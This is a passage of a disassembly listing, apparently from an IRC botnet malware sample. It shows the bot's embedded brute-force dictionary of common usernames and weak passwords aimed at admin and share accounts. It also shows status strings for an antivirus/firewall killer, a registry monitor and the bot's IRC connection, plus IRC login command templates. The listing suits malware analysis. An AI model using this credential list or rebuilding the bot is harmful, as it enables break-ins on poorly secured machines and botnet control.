aCaliforn	db 'californ',0         ; DATA XREF: .data:0042AA40o
		align 10h
aButthead	db 'butthead',0         ; DATA XREF: .data:0042AA3Co
		align 4
aButt		db 'butt',0             ; DATA XREF: .data:0042AA38o
		align 4
aButch		db 'butch',0            ; DATA XREF: .data:0042AA34o
		align 4
aBurn		db 'burn',0             ; DATA XREF: .data:0042AA30o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: .data:0042AA2Co
aBung		db 'bung',0             ; DATA XREF: .data:0042AA28o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: .data:0042AA24o
		align 10h
aBullshit	db 'bullshit',0         ; DATA XREF: .data:0042AA20o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: .data:0042AA1Co
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: .data:0042AA18o
		align 10h
aBrute		db 'brute',0            ; DATA XREF: .data:0042AA14o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: .data:0042AA10o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: .data:0042AA0Co
aBroadway	db 'broadway',0         ; DATA XREF: .data:0042AA08o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: .data:0042AA04o
aBrian		db 'brian',0            ; DATA XREF: .data:0042AA00o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: .data:0042A9FCo
		align 10h
aBreast		db 'breast',0           ; DATA XREF: .data:0042A9F8o
		align 4
aBreak		db 'break',0            ; DATA XREF: .data:0042A9F4o
		align 10h
aBravo		db 'bravo',0            ; DATA XREF: .data:0042A9F0o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: .data:0042A9ECo
		align 10h
aBrandi		db 'brandi',0           ; DATA XREF: .data:0042A9E8o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: .data:0042A9E4o
aBoyscout	db 'boyscout',0         ; DATA XREF: .data:0042A9E0o
		align 4
aBorn		db 'born',0             ; DATA XREF: .data:0042A9DCo
		align 4
aBook		db 'book',0             ; DATA XREF: .data:0042A9D8o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: .data:0042A9D4o
		align 4
aBoob		db 'boob',0             ; DATA XREF: .data:0042A9D0o
		align 4
aBoner		db 'boner',0            ; DATA XREF: .data:0042A9CCo
		align 4
aBomb		db 'bomb',0             ; DATA XREF: .data:0042A9C8o
		align 4
aBoard		db 'board',0            ; DATA XREF: .data:0042A9C4o
		align 4
aBlues		db 'blues',0            ; DATA XREF: .data:0042A9C0o
		align 4
aBlue		db 'blue',0             ; DATA XREF: .data:0042A9BCo
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: .data:0042A9B8o
aBlow		db 'blow',0             ; DATA XREF: .data:0042A9B4o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: .data:0042A9B0o
		align 10h
aBlood		db 'blood',0            ; DATA XREF: .data:0042A9ACo
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: .data:0042A9A8o
aBlonde		db 'blonde',0           ; DATA XREF: .data:0042A9A4o
		align 4
aBlack		db 'black',0            ; DATA XREF: .data:0042A9A0o
		align 10h
aBitnet		db 'bitnet',0           ; DATA XREF: .data:0042A99Co
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: .data:0042A998o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: .data:0042A994o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: .data:0042A990o
		align 10h
aBird		db 'bird',0             ; DATA XREF: .data:0042A98Co
		align 4
aBios		db 'bios',0             ; DATA XREF: .data:0042A988o
		align 10h
aBinary		db 'binary',0           ; DATA XREF: .data:0042A984o
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0042A980o
		align 10h
aBigfoot	db 'bigfoot',0          ; DATA XREF: .data:0042A97Co
aBicamera	db 'bicamera',0         ; DATA XREF: .data:0042A978o
		align 4
aBible		db 'bible',0            ; DATA XREF: .data:0042A974o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: .data:0042A970o
aBetty		db 'betty',0            ; DATA XREF: .data:0042A96Co
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: .data:0042A968o
		align 4
aBeth		db 'beth',0             ; DATA XREF: .data:0042A964o
		align 4
aBeta		db 'beta',0             ; DATA XREF: .data:0042A960o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: .data:0042A95Co
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: .data:0042A958o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: .data:0042A954o
		align 10h
aBerkeley	db 'berkeley',0         ; DATA XREF: .data:0042A950o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: .data:0042A94Co
aBenz		db 'benz',0             ; DATA XREF: .data:0042A948o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: .data:0042A944o
aBell		db 'bell',0             ; DATA XREF: .data:0042A940o
		align 4
aBehead		db 'behead',0           ; DATA XREF: .data:0042A93Co
		align 4
aBegin		db 'begin',0            ; DATA XREF: .data:0042A938o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: .data:0042A934o
		align 4
aBecky		db 'becky',0            ; DATA XREF: .data:0042A930o
		align 10h
aBeaver		db 'beaver',0           ; DATA XREF: .data:0042A92Co
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: .data:0042A928o
		align 10h
aBeater		db 'beater',0           ; DATA XREF: .data:0042A924o
		align 4
aBeast		db 'beast',0            ; DATA XREF: .data:0042A920o
		align 10h
aBear		db 'bear',0             ; DATA XREF: .data:0042A91Co
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: .data:0042A918o
		align 4
aBeach		db 'beach',0            ; DATA XREF: .data:0042A914o
		align 4
aBatman		db 'batman',0           ; DATA XREF: .data:0042A910o
		align 4
aBatch		db 'batch',0            ; DATA XREF: .data:0042A90Co
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: .data:0042A908o
aBass		db 'bass',0             ; DATA XREF: .data:0042A904o
		align 4
aBasic		db 'basic',0            ; DATA XREF: .data:0042A900o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: .data:0042A8FCo
		align 10h
aBartman	db 'bartman',0          ; DATA XREF: .data:0042A8F8o
aBart		db 'bart',0             ; DATA XREF: .data:0042A8F4o
		align 10h
aBaritone	db 'baritone',0         ; DATA XREF: .data:0042A8F0o
		align 4
aBarf		db 'barf',0             ; DATA XREF: .data:0042A8ECo
		align 4
aBare		db 'bare',0             ; DATA XREF: .data:0042A8E8o
		align 4
aBarber		db 'barber',0           ; DATA XREF: .data:0042A8E4o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: .data:0042A8E0o
aBanks		db 'banks',0            ; DATA XREF: .data:0042A8DCo
		align 4
aBank		db 'bank',0             ; DATA XREF: .data:0042A8D8o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: .data:0042A8D4o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: .data:0042A8D0o
aBanana		db 'banana',0           ; DATA XREF: .data:0042A8CCo
		align 4
aBall		db 'ball',0             ; DATA XREF: .data:0042A8C8o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: .data:0042A8C4o
		align 4
aBadass		db 'badass',0           ; DATA XREF: .data:0042A8C0o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: .data:0042A8BCo
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: .data:0042A8B8o
aBaby		db 'baby',0             ; DATA XREF: .data:0042A8B4o
		align 4
aBabe		db 'babe',0             ; DATA XREF: .data:0042A8B0o
		align 10h
aAzure		db 'azure',0            ; DATA XREF: .data:0042A8ACo
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: .data:0042A8A8o
		align 10h
aAuthoriz	db 'authoriz',0         ; DATA XREF: .data:0042A8A4o
		align 4
aAttack		db 'attack',0           ; DATA XREF: .data:0042A8A0o
		align 4
aAtom		db 'atom',0             ; DATA XREF: .data:0042A89Co
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: .data:0042A898o
		align 4
aAthena		db 'athena',0           ; DATA XREF: .data:0042A894o
		align 10h
aAsshole	db 'asshole',0          ; DATA XREF: .data:0042A890o
aAsian		db 'asian',0            ; DATA XREF: .data:0042A88Co
		align 10h
aArtist		db 'artist',0           ; DATA XREF: .data:0042A888o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: .data:0042A884o
		align 10h
aArrow		db 'arrow',0            ; DATA XREF: .data:0042A880o
		align 4
aArmy		db 'army',0             ; DATA XREF: .data:0042A87Co
		align 10h
aArlene		db 'arlene',0           ; DATA XREF: .data:0042A878o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: .data:0042A874o
aAria		db 'aria',0             ; DATA XREF: .data:0042A870o
		align 4
aApril		db 'april',0            ; DATA XREF: .data:0042A86Co
		align 10h
aApollo13	db 'apollo13',0         ; DATA XREF: .data:0042A868o
		align 4
aAnything	db 'anything',0         ; DATA XREF: .data:0042A864o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: .data:0042A860o
		align 10h
aAnthropo	db 'anthropo',0         ; DATA XREF: .data:0042A85Co
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: .data:0042A858o
aAnswer		db 'answer',0           ; DATA XREF: .data:0042A854o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: .data:0042A850o
		align 4
aAnon		db 'anon',0             ; DATA XREF: .data:0042A84Co
		align 10h
aAnnette	db 'annette',0          ; DATA XREF: .data:0042A848o
aAnne		db 'anne',0             ; DATA XREF: .data:0042A844o
		align 10h
aAnna		db 'anna',0             ; DATA XREF: .data:0042A840o
		align 4
aAnita		db 'anita',0            ; DATA XREF: .data:0042A83Co
		align 10h
aAnimals	db 'animals',0          ; DATA XREF: .data:0042A838o
aAnimal		db 'animal',0           ; DATA XREF: .data:0042A834o
		align 10h
aAngie		db 'angie',0            ; DATA XREF: .data:0042A830o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: .data:0042A82Co
		align 4
aAngela		db 'angela',0           ; DATA XREF: .data:0042A828o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: .data:0042A824o
		align 4
aAndy		db 'andy',0             ; DATA XREF: .data:0042A820o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: .data:0042A81Co
		align 4
aAndroid	db 'android',0          ; DATA XREF: .data:0042A818o
aAndrea		db 'andrea',0           ; DATA XREF: .data:0042A814o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: .data:0042A810o
		align 10h
aAnarchy	db 'anarchy',0          ; DATA XREF: .data:0042A80Co
aAnarchis	db 'anarchis',0         ; DATA XREF: .data:0042A808o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: .data:0042A804o
		align 4
aAnal		db 'anal',0             ; DATA XREF: .data:0042A800o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: .data:0042A7FCo
		align 10h
aAmerica	db 'america',0          ; DATA XREF: .data:0042A7F8o
aAmber		db 'amber',0            ; DATA XREF: .data:0042A7F4o
		align 10h
aAmanda		db 'amanda',0           ; DATA XREF: .data:0042A7F0o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: .data:0042A7ECo
aAlphabet	db 'alphabet',0         ; DATA XREF: .data:0042A7E8o
		align 4
aAllow		db 'allow',0            ; DATA XREF: .data:0042A7E4o
		align 4
aAllison	db 'allison',0          ; DATA XREF: .data:0042A7E0o
aAlison		db 'alison',0           ; DATA XREF: .data:0042A7DCo
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: .data:0042A7D8o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: .data:0042A7D4o
		align 4
aAlice		db 'alice',0            ; DATA XREF: .data:0042A7D0o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: .data:0042A7CCo
aAlias		db 'alias',0            ; DATA XREF: .data:0042A7C8o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: .data:0042A7C4o
aAlexande	db 'alexande',0         ; DATA XREF: .data:0042A7C0o
		align 10h
aAlex		db 'alex',0             ; DATA XREF: .data:0042A7BCo
		align 4
aAlert		db 'alert',0            ; DATA XREF: .data:0042A7B8o
		align 10h
aAlbert		db 'albert',0           ; DATA XREF: .data:0042A7B4o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: .data:0042A7B0o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: .data:0042A7ACo
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: .data:0042A7A8o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: .data:0042A7A4o
		align 10h
aAids		db 'aids',0             ; DATA XREF: .data:0042A7A0o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: .data:0042A79Co
		align 4
aAdult		db 'adult',0            ; DATA XREF: .data:0042A798o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: .data:0042A794o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: .data:0042A790o
		align 10h
aAdam		db 'adam',0             ; DATA XREF: .data:0042A78Co
		align 4
aAction		db 'action',0           ; DATA XREF: .data:0042A788o
		align 10h
aAccount	db 'account',0          ; DATA XREF: .data:0042A784o
aAcademic	db 'academic',0         ; DATA XREF: .data:0042A77Co
		align 4
aAcademia	db 'academia',0         ; DATA XREF: .data:0042A778o
		align 10h
a000000		db '000000',0           ; DATA XREF: .data:0042A774o
					; .data:0042C18Co
		align 4
a00000		db '00000',0            ; DATA XREF: .data:0042A770o
					; .data:0042C188o
		align 10h
a0000		db '0000',0             ; DATA XREF: .data:0042A76Co
					; .data:0042C184o
		align 4
a000		db '000',0              ; DATA XREF: .data:0042A768o
					; .data:0042C180o
aTesting	db 'testing',0          ; DATA XREF: .data:0042A764o
aDeath		db 'death',0            ; DATA XREF: .data:0042A760o
		align 4
a00		db '00',0               ; DATA XREF: .data:0042A75Co
					; .data:0042C17Co
		align 10h
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .data:0042A754o
					; .data:0042C5CCo
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .data:0042A750o
					; .data:0042C5C8o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .data:0042A74Co
					; .data:0042C5C4o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .data:0042A748o
					; .data:0042C5C0o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .data:0042A744o
					; .data:0042C5BCo
		align 10h
aXxxx		db 'xxxx',0             ; DATA XREF: .data:0042A740o
					; .data:0042C5B8o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .data:0042A73Co
					; .data:0042C5B4o
aXx		db 'xx',0               ; DATA XREF: .data:0042A738o
					; .data:0042C5B0o
		align 10h
asc_430E00:				; DATA XREF: .data:0042A734o
					; .data:0042C5ACo
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: .data:0042A730o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .data:0042A72Co
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: .data:0042A728o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: .data:0042A724o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: .data:0042A720o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: .data:0042A71Co
		align 4
aScript		db 'script',0           ; DATA XREF: .data:0042A718o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: .data:0042A714o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: .data:0042A710o
		align 4
aL337		db 'l337',0             ; DATA XREF: .data:0042A70Co
		align 4
aL33t		db 'l33t',0             ; DATA XREF: .data:0042A708o
		align 4
aLeet		db 'leet',0             ; DATA XREF: .data:0042A704o
		align 4
aKiller		db 'killer',0           ; DATA XREF: .data:0042A700o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: .data:0042A6FCo
					; .data:0042C1E8o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: .data:0042A6F8o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: .data:0042A6F4o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: .data:0042A6F0o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: .data:0042A6ECo
aSatanik	db 'satanik',0          ; DATA XREF: .data:0042A6E8o
aSatan		db 'satan',0            ; DATA XREF: .data:0042A6E4o
		align 10h
aGobo		db 'gobo',0             ; DATA XREF: .data:0042A6E0o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: .data:0042A6DCo
aMatt		db 'Matt',0             ; DATA XREF: .data:0042A6D8o
		align 4
off_430ED8	dd offset loc_74614D	; DATA XREF: .data:0042A6D4o
dword_430EDC	dd 7770h	aMypass123	db 'mypass123',0        ; DATA XREF: .data:0042A6CCo
		align 4
aMypass		db 'mypass',0           ; DATA XREF: .data:0042A6C8o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: .data:0042A6C4o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: .data:0042A6C0o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: .data:0042A6BCo
aMypc		db 'mypc',0             ; DATA XREF: .data:0042A6B8o
		align 4
aLove		db 'love',0             ; DATA XREF: .data:0042A6B4o
		align 10h
off_430F20	dd offset dword_647770	; DATA XREF: .data:0042A6B0o
aLogin_15	db 'login',0            ; DATA XREF: .data:0042A6ACo
		align 4
aHome		db 'home',0             ; DATA XREF: .data:0042A6A8o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: .data:0042A6A4o
					; .data:0042C5ECo
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: .data:0042A6A0o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: .data:0042A69Co
					; .data:0042C558o
		align 4
aSecret		db 'secret',0           ; DATA XREF: .data:0042A698o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: .data:0042A694o
					; .data:0042C604o
		align 4
aPc		db 'pc',0               ; DATA XREF: .data:0042A690o
		align 10h
off_430F60	dd offset byte_6E6977	; DATA XREF: .data:0042A68Co
aTest123	db 'test123',0          ; DATA XREF: .data:0042A688o
off_430F6C	dd offset byte_636261	; DATA XREF: .data:0042A684o
off_430F70	dd offset byte_616161	; DATA XREF: .data:0042A680o
					; .data:0042C52Co
dword_430F74	dd 61h							; .data:0042C524o
aCrash		db 'crash',0            ; DATA XREF: .data:0042A678o
		align 10h
aFucked		db 'fucked',0           ; DATA XREF: .data:0042A674o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: .data:0042A670o
aIrule		db 'irule',0            ; DATA XREF: .data:0042A66Co
		align 4
aOwned		db 'owned',0            ; DATA XREF: .data:0042A668o
		align 10h
a0wned		db '0wned',0            ; DATA XREF: .data:0042A664o
					; .data:0042C1ECo
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: .data:0042A660o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: .data:0042A65Co
		align 10h
aDevil		db 'devil',0            ; DATA XREF: .data:0042A658o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: .data:0042A654o
		align 10h
aFoobar		db 'foobar',0           ; DATA XREF: .data:0042A650o
		align 4
off_430FD8	dd offset byte_646F67	; DATA XREF: .data:0042A64Co
dword_430FDC	dd 786573h	off_430FE0	dd offset loc_74616F+1	; DATA XREF: .data:0042A644o
aPatrick	db 'patrick',0          ; DATA XREF: .data:0042A640o
aAlpha		db 'alpha',0            ; DATA XREF: .data:0042A63Co
		align 4
a007		db '007',0              ; DATA XREF: .data:0042A638o
					; .data:0042C1D8o
a123abc		db '123abc',0           ; DATA XREF: .data:0042A634o
					; .data:0042C3E8o
		align 10h
a1234qwer	db '1234qwer',0         ; DATA XREF: .data:0042A630o
					; .data:0042C3F4o
		align 4
a123123		db '123123',0           ; DATA XREF: .data:0042A62Co
					; .data:0042C394o
		align 4
a121212		db '121212',0           ; DATA XREF: .data:0042A628o
					; .data:0042C38Co
		align 4
a111111		db '111111',0           ; DATA XREF: .data:0042A624o
					; .data:0042C204o
		align 4
a110		db '110',0              ; DATA XREF: .data:0042A620o
					; .data:0042C358o
a2600		db '2600',0             ; DATA XREF: .data:0042A61Co
					; .data:0042C4E0o
		align 10h
a2002		db '2002',0             ; DATA XREF: .data:0042A614o
					; .data:0042C4CCo
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .data:0042A610o
		align 4
aEnable		db 'enable',0           ; DATA XREF: .data:0042A60Co
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: .data:0042A608o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: .data:0042A604o
a123asd		db '123asd',0           ; DATA XREF: .data:0042A600o
					; .data:0042C3ECo
		align 4
aSuper		db 'super',0            ; DATA XREF: .data:0042A5FCo
		align 4
aInternet	db 'Internet',0         ; DATA XREF: .data:0042A5F8o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: .data:0042A5F0o
					; .data:0042C3F0o
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: .data:0042A5ECo
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .data:0042A5E4o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: .data:0042A5E0o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .data:0042A5D8o
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: .data:0042A5D4o
		align 4
a88888888	db '88888888',0         ; DATA XREF: .data:0042A5D0o
					; .data:0042C324o
		align 4
a11111111	db '11111111',0         ; DATA XREF: .data:0042A5CCo
					; .data:0042C20Co
		align 10h
a111		db '111',0              ; DATA XREF: .data:0042A5C8o
					; .data:0042C1F8o
a54321		db '54321',0            ; DATA XREF: .data:0042A5C4o
					; .data:0042C4ECo
		align 4
a654321		db '654321',0           ; DATA XREF: .data:0042A5C0o
					; .data:0042C4F0o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .data:0042A5BCo
					; .data:0042C3ACo
		align 10h
a12345678	db '12345678',0         ; DATA XREF: .data:0042A5B8o
					; .data:0042C3A8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:0042A5B4o
					; .data:0042C3A4o
a123456		db '123456',0           ; DATA XREF: .data:0042A5B0o
					; .data:0042C3A0o
		align 4
a12345		db '12345',0            ; DATA XREF: .data:0042A5ACo
					; .data:0042C39Co
		align 4
a1234		db '1234',0             ; DATA XREF: .data:0042A5A8o
					; .data:0042C398o
		align 4
a123		db '123',0              ; DATA XREF: .data:0042A5A4o
					; .data:0042C390o
a12		db '12',0               ; DATA XREF: .data:0042A5A0o
					; .data:0042C384o
		align 4
a1:					; DATA XREF: .data:0042A59Co
					; .data:0042C1F0o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: .data:0042A598o
aChangeme_0	db 'Changeme',0         ; DATA XREF: .data:0042A594o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .data:0042A590o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0042A58Co
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .data:0042A588o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .data:0042A584o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: .data:0042A580o
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: .data:0042A57Co
					; .data:0042C93Co
		align 10h
aSystem		db 'SYSTEM',0           ; DATA XREF: .data:0042A578o
					; .data:0042C58Co ...
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: .data:0042A574o
					; .data:0042C934o
		align 10h
aAccess		db 'ACCESS',0           ; DATA XREF: .data:0042A56Co
					; .data:0042C92Co
		align 4
aTest		db 'TEST',0             ; DATA XREF: .data:0042A568o
					; .data:0042C928o
		align 10h
off_431180	dd offset loc_756464+1	; DATA XREF: .data:0042A564o
					; .data:0042C924o
aOwner_1	db 'Owner',0            ; DATA XREF: .data:0042A560o
					; .data:0042C920o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: .data:0042A55Co
					; .data:0042C91Co
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: .data:0042A558o
					; .data:0042C918o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: .data:0042A554o
					; .data:0042C914o
		align 4
aRead		db 'READ',0             ; DATA XREF: .data:0042A550o
					; .data:0042C910o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: .data:0042A54Co
					; .data:0042C90Co
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: .data:0042A548o
					; .data:0042C908o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: .data:0042A544o
					; .data:0042C904o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: .data:0042A540o
					; .data:0042C900o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: .data:0042A53Co
					; .data:0042C8FCo
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: .data:0042A538o
					; .data:0042C8F8o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: .data:0042A534o
					; .data:0042C8F4o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: .data:0042A530o
					; .data:0042C8F0o
		align 10h
aRoot_0		db 'ROOT',0             ; DATA XREF: .data:0042A528o
					; .data:0042C8E8o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: .data:0042A524o
					; .data:0042C8E4o
		align 10h
off_431200	dd offset word_616C62	; DATA XREF: .data:0042A520o
					; .data:0042C8E0o
aFubar		db 'fubar',0            ; DATA XREF: .data:0042A51Co
					; .data:0042C8DCo
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: .data:0042A510o
					; .data:0042C8D0o
		align 4
aManagement	db 'management',0       ; DATA XREF: .data:0042A500o
		align 4
aAdministrative	db 'administrative',0   ; DATA XREF: .data:0042A4FCo
		align 4
aDirector_0	db 'director',0         ; DATA XREF: .data:0042A4F8o
					; .data:0042ACE8o
		align 4
aOfficial	db 'Official',0         ; DATA XREF: .data:0042A4F4o
		align 10h
aDirector	db 'Director',0         ; DATA XREF: .data:0042A4F0o
		align 4
aOracle		db 'oracle',0           ; DATA XREF: .data:0042A4ECo
					; .data:0042A5E8o
		align 4
aDb1		db 'db1',0              ; DATA XREF: .data:0042A4E8o
aDatabase	db 'database',0         ; DATA XREF: .data:0042A4E4o
					; .data:0042A5DCo
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0042A4E0o
					; .data:0042AC7Co
aGuest_0	db 'guest',0            ; DATA XREF: .data:0042A4DCo
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0042A4D8o
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .data:0042A4D4o
					; .data:0042BC10o
aStudent	db 'student',0          ; DATA XREF: .data:0042A4D0o
					; .data:0042BB58o
aOwner		db 'owner',0            ; DATA XREF: .data:0042A4CCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:0042A4C8o
					; .data:0042A5F4o
		align 4
aRoot		db 'root',0             ; DATA XREF: .data:0042A4C4o
					; .data:0042A52Co ...
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0042A4C0o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .data:0042A4BCo
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .data:0042A4B8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0042A4B4o
aAdministrater	db 'administrater',0    ; DATA XREF: .data:0042A4B0o
		align 10h
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0042A4ACo
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0042A4A8o
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: .data:0042A4A4o
					; .data:0042A518o ...
		align 10h
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: .data:off_42A3F4o
a@room		db '*@room',0           ; DATA XREF: .data:off_42A3F0o
		align 4
a_e_1_0bSecur_2	db '.e.(1.0b) ( secure.m.d.l ) ..  Failed to start registry thread,'
					; DATA XREF: sub_40C2D0+4DDo
		db ' error: <%d>.',0
		align 4
a_e_1_0bSecur_1	db '.e.(1.0b) ( secure.m.d.l ) ..  Registry monitor active.',0
					; DATA XREF: sub_40C2D0+48Ao
		align 10h
a_e_1_0bSecur_0	db '.e.(1.0b) ( secure.m.d.l ) ..  Failed to start secure thread, e'
					; DATA XREF: sub_40C2D0+46Ao
		db 'rror: <%d>.',0
		align 10h
a_e_1_0bSecure_	db '.e.(1.0b) ( secure.m.d.l ) ..  System secure monitor active.',0
					; DATA XREF: sub_40C2D0+41Do
		align 10h
a_e_1_0bProce_0	db '.e.(1.0b) ( process.m.d.l ) ..  Failed to start AV/FW killer th'
					; DATA XREF: sub_40C2D0+3FDo
		db 'read, error: <%d>.',0
a_e_1_0bProcess	db '.e.(1.0b) ( process.m.d.l ) ..  AV/FW Killer active.',0
					; DATA XREF: sub_40C2D0+3ACo
		align 4
a_e_1_0bEnz_m_d	db '.e.(1.0b) ( enz.m.d.l ) ..  Bot started.',0
					; DATA XREF: sub_40C2D0+371o
		align 4
aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_40C2D0+29Co
		align 4
aSS_3		db '%s\%s',0            ; DATA XREF: sub_40C2D0+196o
		align 4
a_e_1_0bEnz_m_0	db '.e.(1.0b) ( enz.m.d.l ) ..  Connected to %s.',0
					; DATA XREF: sub_40C929+F2o
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40CA91+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40CA91+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+5716o
		align 4
